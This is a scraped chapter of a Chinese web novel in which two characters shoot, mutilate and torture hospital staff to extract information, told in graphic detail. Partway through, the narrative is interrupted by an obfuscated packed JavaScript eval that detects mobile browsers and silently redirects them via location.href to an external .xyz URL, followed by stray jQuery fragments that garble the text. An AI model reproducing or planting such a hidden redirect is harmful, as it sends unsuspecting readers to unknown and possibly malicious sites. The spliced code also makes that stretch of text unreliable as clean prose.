22. 第 22 章 讲康医院

作品:《请决策官做出选择

    讲康医院负一层,一声又一声枪响回荡在无人的处理间。


    “还有人活着吗?”


    保洁七组处理间里,一个保洁正躲在工具柜后面颤抖着在组群里发消息。


    没人回应。


    保洁大群只有管理员可以发消息,他看着框里禁止输入的灰字,绝望地呜咽出来。


    “啪吱——”


    脚步声从他背后近处凭空出现。


    小保洁浑身的鸡皮疙瘩都起来了,他死死捂住自己的嘴,盯着自己的脚尖。


    “hi~”


    子弹上膛,黑洞洞的枪口出现在他视野里。


    小保洁抬起头,刚刚那个浴血厮杀的男人和一个穿着病号服的女孩找到了他。


    “别...别......”


    小保洁近乎抽搐地摇头,他听到颈椎的嘎吱声。


    言槐安笑眯眯地吹了一口冒烟的枪口,摆着手对小保洁说:


    “其他人确实都死了,但你别紧张~”


    小保洁感觉自己要吐白沫了。


    “带我去你们中转站,”


    言槐安提出要求后又顿了一下,钱二的合理诉求让他印象深刻,所以他又蹦出了后半句:


    “我就让你死个痛快。”


    小保洁摇摇欲坠的精神防线被言槐安的体贴给一招击碎了。


    他发出低吼,起身挥出一拳,被言槐安侧身躲开。


    “又一个这样的,那再见吧。”


    言槐安抬手一枪,小保洁被击倒在地。


    “走吧,找下一个。”


    言槐安大步走出处理间,百婻跟在他身后,终于忍不住说:


    “你这样没人会愿意带你去的......”


    “那下一个就严刑逼供。”


    言槐安转着枪,目光扫过走廊两侧的处理间。


    “......”


    百婻沉默一阵,还是开口:“我不是那个意思,我......”


    言槐安猛得停下脚步,回头把枪指向百婻:


    “你最好把没用的怜悯和大义扔了。”


    “你在这里循环很久了吧?以前的事还记多少?”


    言槐安一步步逼近百婻。


    “你以前每天见过的死人,可比我今天杀的要多得多。”


    “想停止这样的杀戮,就得有所舍弃,你应该最明白了吧?”


    百婻的脸色伴随一声声诘问变得越来越白,最后沉默地垂下了头。


    言槐安收起枪,踹开了旁边处理间的门。


    几把尖刀向他们飞来。


    言槐安不躲不闪地走向躲在处理池里的保洁,莹蓝色的数据块屏障在他身前展开挡下飞刀。


    百婻看着蓝色的数据块,瞳孔微收:“原来你是莉......”


    “啊——”


    处理池里藏着两个保洁,其中一个被言槐安射穿了肩膀。


    他跳进处理池,一脚踹开受伤的保洁,单手拎起另一个保洁的衣领,把他抵在墙上。


    “你们两个谁带我去中转站,谁就能活下来。”


    言槐安上挑的眼睛扫过地上受伤的保洁。


    受伤的保洁捂住流血的伤口,咬牙切齿:


    “我和卫季...死都不会带你去的!”


    被抵在墙上的保洁猛地屈腿踢向言槐安,言槐安松开他,轻巧后退。


    通常情况下清道夫的战力不容小觑,但这几个在二层混战时逃跑的保洁明显已经慌乱,发挥不出实力。


    言槐安掏出匕首,削掉了保洁手臂上的一片肌肉。


    “啊——”


    “卫季!”


    陈仲两眼通红,恨不得把言槐安给撕碎。


    “别动。”


    言槐安钳制住卫季,匕首搭在他的手腕上。


    “带我去中转站,就让你们死得痛快点。”


    陈仲咬着牙嘶吼:“你以为是我们不想吗?是我们不能!带你去中转站,我们只能生不如死!”


    卫季瞳孔有些涣散,牙齿止不住地打颤,磕磕巴巴地说:“我带你去,我带你去,我带你去......”


    陈仲不可置信的看着卫季,一把飞刀封喉,还没说出口的话只能化作血沫喷了出来。


    言槐安微微俯身,对上卫季的眼睛:


    “走吧。”


    卫季腿肚子有些打颤,一步一步往前慢慢挪,言槐安也不催他,就这样跟在他身后。


    百婻跟在他们后面,脑子里忽然像是有条线崩断似的,滔天的迷茫涌了上来。


    “等...等一下!”


    卫季瞬间停在原地不敢动弹,言槐安双手环抱回头看向她。


    “另一个我,死了......”


    百婻仰起头。


    她刚刚感觉到就在不远处的楼上,那个一直拒绝和另外两个百婻连接的自己忽然活了起来。


    她不知道为什么,但她觉得一切都肯定往好的地方发展。


    直到那个自己死了。


    -


    林栎看着怀中一点点消散的百婻,呆在原地。


    你死了,我怎么办?


    我怎么完成任务?


    你不是一直装得很好吗?明明有很强的力量,却还是愿意跟着我去演一个没能力的普通人。


    怎么忽然就藏不住了?


    眼镜男的动作像掉帧一般卡出重影,林栎觉得周遭的一切忽然变得很慢很慢。


    她扭过头,眼睛男一刀迟迟未落下,她立刻伸手夺刀,直直插在他的脖颈大动脉上。


    鲜血像定格画一样延伸出来,林栎一时看得有些呆愣。


    她站在那里,四肢力量暗涌,她的脚长出来了。


    新脚像黑色橡皮泥捏出来的一样,她可以摸到,也可以把手透过去。


    远处保洁人员的叫喊被无限放慢,传到林栎耳朵里只剩低吼。


    她摇摇晃晃地走到轨道梯间,脊椎蝌蚪钻进电梯,医护人员正奋力从梯厢里扑出来,几个已经出来的人正拖着蝌蚪的脊椎阻止它们往内钻。


    一切在林栎眼里都像幽默的定格画,她跟他们已经不在同一时间里。


    她走过去,拿出刚夺来的匕首,一刀一刀把他们都放倒。


    她想起以前在学校,自己受欺负的时候也产生过阴暗的想法。


    但最后都归于一句“人活在世,我无权决定他人生死”。


    林栎拂过从刀口处钻出来的还带着温度的鲜血,心里被堵住了一样难受。


    我想活着。


    心脏在胸腔里剧烈搏动。


    决策树把她拉进了一个无秩序的世界,这个世界对她而言太陌生了,每秒都有人在死去。


    也不对。


    这些NPC是人吗?


    还是决策树捏出来的怪物?


    林栎的大脑像一团剪不断理不清的毛线,动作却一点没停。


    不管了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344421|182355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    最后一个医护人员被她放倒,她收起匕首,沿着步梯走到七层。


    七层办公室内,大腹便便的领导正坐在椅子上。


    林栎眨了眨眼,墙上机械表的指针咔哒咔哒,领导粗重的呼吸也恢复正常频率。


    时间恢复正常,四面八方的声音海啸般涌入林栎耳朵,扎得生疼。


    系统女声响起:


    “''时间领域''作用结束”


    林栎没有去理会系统提示。


    她看着领导,像汇报工作一样自然地开口:


    “领导,偷听的两个人已经处理,其余同事英勇战死,任务完成。”


    领导被突然出现在他身前的人影吓了一跳,他还不知从何说起,就被林栎打断:


    “我申请成为临时保洁,并承担与研究人员对接事宜。”


    领导被打断明显不满,他刚想发作,就被林栎的眼神给怔住。


    他磨蹭半晌,才挤出来一句:


    “批准......你去...我给你拿工作服装和器材。”


    “谢谢领导。”


    林栎点头示意。


    领导放在桌子上的光脑发出消息提示声,林栎很自然地走上前查看最新消息。


    “诶你干嘛......”


    正在柜子里翻找保洁服的领导瞥到林栎拿起自己的光脑,也顾不得害怕,立刻喊出声。


    林栎像看到什么有意思的东西似的,拿着光脑,把屏幕朝向领导。


    领导的脸在看清字的一瞬间变白了。


    主管:“偷听的人就是你面前这个。”


    主管:“解决她”


    “诶你不是领导吗?这主管又是谁呀?”


    林栎歪着头,用近乎天真的语气发问。


    领导牙齿都在打颤。


    虽然他是领导,能指挥一众能打的医护人员,但他本人却没什么能耐。


    从他凭借着当研究员的亲戚关系入职开始,每天做的都只有整整资料填填表格,各种需要本事的活基本轮不到他,他也乐得享受。


    毕竟评优看的是人和呈现,不是你到底做了哪些实事,一些同事拼死拼活拿到的成绩,也不及他看起来更优秀的叙事。


    “别杀我...别杀我...”


    男人见过不少这种场景。


    他记得之前院里有个医生被人追杀时,吓得一味求饶。


    那次他给其他人开会的主题便是“明晰讲康荣与耻”,会上反复吟诵的口号是“誓死捍卫讲康精神,绝不低头谋耻生!”


    领导的腿肚子筋膜枪似的高频颤动,他从没想过这种事会发生在他身上。


    林栎很不喜欢人窝囊的样子,她抄起匕首三步并两步上前,一刀扎进领导脸侧的墙里。


    “喂,废物。”


    林栎耐着性子盯着男人不断冒油的脸。


    “啧,我给你个死得轻松的机会,要不要?”


    “我......我不想...”


    林栎掏出利斧砍断了领导的胳膊,鲜血喷了她一身。


    “啊——”


    男人发出杀猪般的惨叫,连连答应:“我要我要,求求你......”


    “再叫我把你嗓子烧了。”


    林栎觉得他的血都是臭的,她强忍恶心把男人踩到地上。


    男人涨红了脸,拼尽全力压着疼痛带来的惨喘。


    “好,就从你们主管是谁开始讲吧~”